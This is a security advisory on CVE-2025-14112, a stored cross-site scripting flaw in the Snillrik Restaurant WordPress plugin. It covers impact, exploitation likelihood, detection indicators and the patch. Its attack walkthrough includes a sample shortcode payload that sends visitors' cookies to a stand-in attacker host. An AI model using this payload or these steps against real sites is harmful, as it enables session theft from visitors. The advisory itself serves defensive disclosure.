CVE-2025-14112: 
WordPress vulnerability analysis and mitigation

CVE-2025-14112 is a Stored Cross-Site Scripting (XSS) vulnerability in the Snillrik Restaurant plugin for WordPress. It affects all versions up to and including 2.3.0 (initially reported as up to 2.2.1, later updated on April 8, 2026 to include 2.3.0). The flaw allows authenticated attackers with Contributor-level access or above to inject arbitrary web scripts via the menu_style shortcode attribute, which execute whenever a user visits an affected page. It was disclosed on January 7, 2026, with a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and stems from insufficient input sanitization and output escaping of the menu_style shortcode attribute in the plugin's shortcodes.php file (line 42). An attacker with at least Contributor-level WordPress access can craft a shortcode containing a malicious JavaScript payload and embed it in a post or page; the script is then stored server-side and executed in the browsers of any user who views the page. The attack vector is network-based, requires low privileges, no user interaction beyond page access, and has a changed scope — meaning the impact crosses the security boundary of the vulnerable component (Wordfence, WordPress Trac).

Successful exploitation allows persistent injection of malicious scripts into WordPress pages, affecting all visitors who load the compromised content. Consequences include session cookie theft, credential harvesting, defacement, and redirection of users to malicious sites. While availability is not directly impacted, the confidentiality and integrity of user sessions and page content are at risk, and the stored nature of the XSS means the payload persists until removed (Wordfence).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-14112. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on a site running the Snillrik Restaurant plugin version ≤ 2.3.0.
2. Create or Edit a Post: Navigate to the WordPress editor and create or edit a post or page where shortcodes are rendered.
3. Inject Malicious Shortcode: Insert a shortcode using the menu_style attribute containing a JavaScript payload, for example: [snillrik_restaurant menu_style="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Page: Save and publish the post so the malicious shortcode is stored in the database.
5. Trigger Execution: When any site visitor (including administrators) loads the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing authenticated POST requests to wp-admin/post.php or the REST API containing menu_style parameters with HTML/script tags or encoded JavaScript payloads.
• Database: Unexpected <script> tags or JavaScript URIs stored in the wp_posts table within shortcode content referencing menu_style.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the Snillrik Restaurant shortcode, potentially carrying cookie or session data.
• File System: Review shortcodes.php in the plugin directory (/wp-content/plugins/snillrik-restaurant-menu/classes/shortcodes.php) for any unauthorized modifications.

Site administrators should update the Snillrik Restaurant plugin to version 2.3.1 or later, as the patch was introduced in changeset 3441599 on the WordPress plugin repository (WordPress Trac). If an immediate update is not possible, restrict Contributor-level user registration and review existing contributor accounts for unauthorized activity. Disabling the plugin entirely until patching is feasible is also a viable temporary workaround. Administrators should audit existing posts and pages for any malicious shortcode content (Wordfence).